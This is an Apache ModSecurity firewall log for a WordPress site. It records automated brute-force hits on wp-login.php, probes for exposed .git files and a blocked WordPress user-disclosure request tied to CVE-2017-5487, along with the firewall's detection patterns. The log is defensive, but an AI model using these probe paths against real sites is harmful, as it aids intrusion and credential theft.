[Fri May 15 22:45:48.502059 2026] [:error] [pid 9304:tid 9333] [client 52.14.168.145:47706] [client 52.14.168.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.14.168.145, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcxnNzcINh7UFIbVoGh_QAAABc"]
[Fri May 15 22:45:49.647723 2026] [:error] [pid 9304:tid 9313] [client 52.14.168.145:47706] [client 52.14.168.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.14.168.145, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcxndzcINh7UFIbVoGh_gAAAAM"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 22:53:20.019439 2026] [:error] [pid 9307:tid 9378] [client 45.136.17.212:35750] [client 45.136.17.212] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agczYCC43jY1IRzK5VZjVwAAAM0"]
[Fri May 15 23:00:10.362054 2026] [:error] [pid 9307:tid 9371] [client 93.123.109.79:60361] [client 93.123.109.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "agc0-iC43jY1IRzK5VZj9gAAAMY"]
[Fri May 15 23:00:11.333826 2026] [:error] [pid 30208:tid 30212] [client 93.123.109.79:52487] [client 93.123.109.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/HEAD"] [unique_id "agc0-5mLMCJujX-JTvhCigAAAII"]
[Fri May 15 23:41:32.106985 2026] [:error] [pid 30208:tid 30213] [client 162.241.252.92:13452] [client 162.241.252.92] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agc-rJmLMCJujX-JTvhGJAAAAIM"]
[Sat May 16 00:04:19.598218 2026] [:error] [pid 9392:tid 9404] [client 24.187.205.133:41486] [client 24.187.205.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 24.187.205.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agdEA9BWJIjH1U9zGfbznAAAAQo"]
[Sat May 16 00:04:22.154092 2026] [:error] [pid 9392:tid 9411] [client 24.187.205.133:41486] [client 24.187.205.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 24.187.205.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agdEBtBWJIjH1U9zGfbznwAAARE"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 00:11:17.842379 2026] [:error] [pid 30272:tid 30278] [client 185.219.237.7:46614] [client 185.219.237.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.219.237.7, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agdFpXvc_jSFaQ_7_wcXnQAAAYQ"]
[Sat May 16 00:11:19.336506 2026] [:error] [pid 30272:tid 30291] [client 185.219.237.7:46614] [client 185.219.237.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.219.237.7, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agdFp3vc_jSFaQ_7_wcXoQAAAZE"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 00:37:48.346744 2026] [:error] [pid 9304:tid 9326] [client 20.54.134.42:1780] [client 20.54.134.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.54.134.42, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agdL3NzcINh7UFIbVoGo8AAAABA"]
[Sat May 16 00:37:49.722945 2026] [:error] [pid 9304:tid 9315] [client 20.54.134.42:1780] [client 20.54.134.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.54.134.42, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agdL3dzcINh7UFIbVoGo8QAAAAU"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 00:41:52.295512 2026] [:error] [pid 9305:tid 9341] [client 69.57.160.88:49806] [client 69.57.160.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.57.160.88, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agdM0N5FZyBmdCM8GsGfXgAAAEM"]
[Sat May 16 00:41:53.447326 2026] [:error] [pid 9305:tid 9349] [client 69.57.160.88:49806] [client 69.57.160.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.57.160.88, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agdM0d5FZyBmdCM8GsGfYQAAAEs"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 00:45:45.330710 2026] [:error] [pid 9392:tid 9396] [client 18.61.192.253:53026] [client 18.61.192.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.61.192.253, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agdNudBWJIjH1U9zGfb61gAAAQI"]
[Sat May 16 00:45:47.236101 2026] [:error] [pid 9392:tid 9403] [client 18.61.192.253:53026] [client 18.61.192.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.61.192.253, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agdNu9BWJIjH1U9zGfb62QAAAQk"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 01:05:19.048738 2026] [:error] [pid 30208:tid 30229] [client 173.231.249.1:38876] [client 173.231.249.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.231.249.1, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agdST5mLMCJujX-JTvhNSQAAAJM"]
[Sat May 16 01:05:20.169119 2026] [:error] [pid 30208:tid 30215] [client 173.231.249.1:38876] [client 173.231.249.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.231.249.1, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agdSUJmLMCJujX-JTvhNSgAAAIU"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 01:15:26.826392 2026] [:error] [pid 9392:tid 9407] [client 159.26.107.10:18405] [client 159.26.107.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.26.107.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agdUrtBWJIjH1U9zGfb-NQAAAQ0"]
[Sat May 16 01:15:28.880078 2026] [:error] [pid 30272:tid 30281] [client 159.26.107.10:13908] [client 159.26.107.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.26.107.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agdUsHvc_jSFaQ_7_wckfQAAAYc"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 01:16:45.470488 2026] [:error] [pid 30272:tid 30297] [client 45.136.17.212:39438] [client 45.136.17.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.136.17.212, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agdU_Xvc_jSFaQ_7_wclCQAAAZc"]
[Sat May 16 01:16:46.632025 2026] [:error] [pid 30272:tid 30277] [client 45.136.17.212:39438] [client 45.136.17.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.136.17.212, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agdU_nvc_jSFaQ_7_wclCgAAAYM"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 01:59:32.215617 2026] [:error] [pid 59453:tid 59480] [client 158.173.67.6:20195] [client 158.173.67.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.173.67.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agdfA3nXIIDivY9RkF0pLgAAA1E"]
[Sat May 16 02:13:02.646925 2026] [:error] [pid 59453:tid 59469] [client 47.163.85.148:51890] [client 47.163.85.148] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agdiLnnXIIDivY9RkF0qygAAA0g"]
[Sat May 16 02:25:00.779608 2026] [:error] [pid 30208:tid 30225] [client 116.202.222.251:34772] [client 116.202.222.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.202.222.251, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agdk_JmLMCJujX-JTvhVhAAAAI8"]
[Sat May 16 02:25:01.826653 2026] [:error] [pid 30208:tid 30228] [client 116.202.222.251:34772] [client 116.202.222.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.202.222.251, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agdk_ZmLMCJujX-JTvhVhQAAAJI"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 02:44:10.475910 2026] [:error] [pid 59202:tid 59228] [client 43.164.192.151:49720] [client 43.164.192.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agdpekORbjeqf1CKQ2KE9QAAAhA"]
[Sat May 16 03:29:25.971602 2026] [:error] [pid 58685:tid 58692] [client 43.134.71.232:48760] [client 43.134.71.232] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agd0Ffo8RwHP0JRnajX_BwAAAMU"]
[Sat May 16 03:42:22.918783 2026] [:error] [pid 24867:tid 24881] [client 47.163.85.148:42888] [client 47.163.85.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.163.85.148, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agd3HiDgFLCgyKq-zmbaowAAAAA"]
[Sat May 16 03:42:24.280268 2026] [:error] [pid 24867:tid 24884] [client 47.163.85.148:42888] [client 47.163.85.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.163.85.148, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agd3ICDgFLCgyKq-zmbapgAAAAM"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 03:54:53.734426 2026] [:error] [pid 24979:tid 24987] [client 129.211.172.249:48422] [client 129.211.172.249] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agd6DbvSFUQiwLaOL2oMrgAAAMY"]
[Sat May 16 04:06:45.773847 2026] [:error] [pid 24979:tid 24982] [client 86.107.77.95:41254] [client 86.107.77.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 86.107.77.95, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agd81bvSFUQiwLaOL2oSTwAAAME"]
[Sat May 16 04:06:47.127832 2026] [:error] [pid 24979:tid 24992] [client 86.107.77.95:41254] [client 86.107.77.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 86.107.77.95, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agd817vSFUQiwLaOL2oSUgAAAMs"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 04:43:36.126364 2026] [:error] [pid 5602:tid 5622] [client 142.93.9.162:57186] [client 142.93.9.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.93.9.162, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ageFeNzTTsu77r3UIsmjzAAAARI"]
[Sat May 16 04:43:37.207166 2026] [:error] [pid 5602:tid 5628] [client 142.93.9.162:57186] [client 142.93.9.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.93.9.162, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ageFedzTTsu77r3UIsmjzgAAARg"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 04:49:31.687699 2026] [:error] [pid 24869:tid 24917] [client 167.172.73.193:38220] [client 167.172.73.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.73.193, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ageG2-xo3FMprMltYl72tQAAAEk"]
[Sat May 16 04:49:32.672454 2026] [:error] [pid 24869:tid 24927] [client 167.172.73.193:38220] [client 167.172.73.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.73.193, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ageG3Oxo3FMprMltYl72tgAAAFM"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 04:55:28.580397 2026] [:error] [pid 24874:tid 24937] [client 74.50.90.10:45182] [client 74.50.90.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.50.90.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ageIQMiii6x3XidYGHGQqwAAAII"]
[Sat May 16 04:55:29.680999 2026] [:error] [pid 24874:tid 24946] [client 74.50.90.10:45182] [client 74.50.90.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.50.90.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ageIQciii6x3XidYGHGQrAAAAIs"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 04:59:16.883030 2026] [:error] [pid 24869:tid 24926] [client 8.134.10.218:33728] [client 8.134.10.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 8.134.10.218, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ageJJOxo3FMprMltYl73nwAAAFI"]
[Sat May 16 04:59:18.818251 2026] [:error] [pid 24869:tid 24925] [client 8.134.10.218:33728] [client 8.134.10.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 8.134.10.218, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ageJJuxo3FMprMltYl73ogAAAFE"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 05:59:19.750459 2026] [:error] [pid 24874:tid 24949] [client 89.252.139.70:59230] [client 89.252.139.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.252.139.70, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ageXN8iii6x3XidYGHGaawAAAI4"]
[Sat May 16 05:59:21.675383 2026] [:error] [pid 24874:tid 24951] [client 89.252.139.70:59230] [client 89.252.139.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.252.139.70, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ageXOciii6x3XidYGHGacAAAAJA"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 06:41:08.355725 2026] [:error] [pid 24874:tid 24944] [client 220.69.155.14:1836] [client 220.69.155.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 220.69.155.14, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agehBMiii6x3XidYGHGgaQAAAIk"]
[Sat May 16 06:41:11.636813 2026] [:error] [pid 24874:tid 24943] [client 220.69.155.14:1836] [client 220.69.155.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 220.69.155.14, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agehB8iii6x3XidYGHGgagAAAIg"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 07:05:25.141049 2026] [:error] [pid 5602:tid 5624] [client 157.180.51.37:34264] [client 157.180.51.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.180.51.37, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agemtdzTTsu77r3UIsnPGAAAARQ"]
[Sat May 16 07:05:26.223068 2026] [:error] [pid 5602:tid 5613] [client 157.180.51.37:34264] [client 157.180.51.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.180.51.37, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agemttzTTsu77r3UIsnPHQAAAQk"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 07:09:28.430214 2026] [:error] [pid 24869:tid 24928] [client 142.132.155.239:52294] [client 142.132.155.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.132.155.239, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agenqOxo3FMprMltYl4HYgAAAFQ"]
[Sat May 16 07:09:29.458669 2026] [:error] [pid 24869:tid 24932] [client 142.132.155.239:52294] [client 142.132.155.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.132.155.239, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agenqexo3FMprMltYl4HYwAAAFg"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 07:24:53.933060 2026] [:error] [pid 24874:tid 24949] [client 34.200.168.173:53736] [client 34.200.168.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.200.168.173, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agerRciii6x3XidYGHGo7wAAAI4"]
[Sat May 16 07:24:54.930885 2026] [:error] [pid 24874:tid 24944] [client 34.200.168.173:53736] [client 34.200.168.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.200.168.173, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agerRsiii6x3XidYGHGo9AAAAIk"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 07:32:17.629631 2026] [:error] [pid 24979:tid 24999] [client 77.73.233.48:35924] [client 77.73.233.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.73.233.48, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agetAbvSFUQiwLaOL2o97AAAANI"]
[Sat May 16 07:32:19.108467 2026] [:error] [pid 24979:tid 24981] [client 77.73.233.48:35924] [client 77.73.233.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.73.233.48, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agetA7vSFUQiwLaOL2o97wAAAMA"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 07:35:41.620896 2026] [:error] [pid 5602:tid 5619] [client 190.92.158.246:53622] [client 190.92.158.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.92.158.246, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agetzdzTTsu77r3UIsnZSAAAAQ8"]
[Sat May 16 07:35:42.601585 2026] [:error] [pid 5602:tid 5613] [client 190.92.158.246:53622] [client 190.92.158.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.92.158.246, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agetztzTTsu77r3UIsnZSwAAAQk"], referer: https://rcacivilgroup.com/wp-login.php
